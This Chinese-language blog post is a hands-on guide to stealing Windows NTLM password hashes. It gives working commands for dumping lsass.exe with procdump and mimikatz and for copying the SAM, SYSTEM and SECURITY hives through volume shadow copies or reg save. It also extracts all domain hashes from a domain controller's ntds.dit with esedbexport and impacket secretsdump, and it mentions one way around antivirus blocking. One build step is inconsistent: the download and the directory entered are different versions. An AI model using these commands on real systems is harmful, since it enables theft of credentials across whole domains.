Windows NTLM Hash获取大法

作者 f0zz 日期 2022-03-13
Windows NTLM Hash获取大法
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM
ntds.dit文件位置:C:\Windows\NTDS\ntds.dit

procdump抓取lsass.exe进程

  1. 上传procdump.exe
  2. procdump.exe -accepteula -ma lsass.exe lsass.dmp
  3. mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"

image.png

卷影拷贝SAM文件

卡巴斯基不允许使用Procdump和minidump来转储lsass.exe进程

vssadmin是windows server2008+和wind 7+提供的vss管理工具,可用于:

  • 创建和删除卷影拷贝
  • 列出卷影拷贝的信息
  • 显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers)
  • 改善卷影拷贝的存储空间的大小

值得一提的是,vssadmin在server和Windows的用户系统是不同的
Windows10 下:
image.png
Windows Server2012下:
image.png

两种方法
1. vssadmin create shadow /for=c: 
进行卷影拷贝
2. wmic shadowcopy call create Volume='C:\'
进行卷影拷贝

vssadmin list shadows列出拷贝的卷影
image.png
然后直接复制
有时候在powershell中无法copy卷影内的文件

C:\Users\Administrator\Desktop>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCo
py3\Windows\system32\config\ .

image.png
复制成功
使用mimikatz.exe "lsadump::sam /sam:<SAM path> /system:<SYSTEM path>" "exit"将dump下来的文件进行破解
image.png
虽然create只能在server中使用,但是win7中依旧可以正常copy

REG SAVE

hklm :是注册表中HKEY_LOCAL_MACHINE的缩写 reg save是将注册表的文件保存为某一位置的某文件
reg save hklm/SYSTEM system
reg save hklm/SAM sam
reg save hklm/SECURITY security
image.png

从NTDS.dit获取域散列值

Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit (Windows\NTDS\ntds.dit)
它包括域中所有用户的密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
ntds.dit文件的dump可以用上述的方法完成

导出文件的散列值

工具:esedbexport
[https://github.com/libyal/libesedb/releases](https://github.com/libyal/libesedb/releases)

apt-get install autoconf automake autopoint libtool pkg-config     // 安装依赖 

wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz cd libesedb-experimental-20191220

./configure 

make && make install && ldconfig

安装完成后,进入存放ntds.dit的目录,执行以下命令恢复ntds.dit并提取表信息:esedbexport -m tables ntds.dit
image.png
提取成功,并且出现ntds.dit.export文件夹
ntds.dit中的表一旦被提取出来,有很多python工具可以将这些表中的信息进一步提取从而导出其中的域散列值。这里使用impacketgit clone [https://github.com/SecureAuthCorp/impacket.git](https://github.com/SecureAuthCorp/impacket.git)
example目录下,secretsdump.py -system <SYSTEM file> -ntds <ntds.dit> LOCAL
image.png

(如get到新的方法,后续会再更新)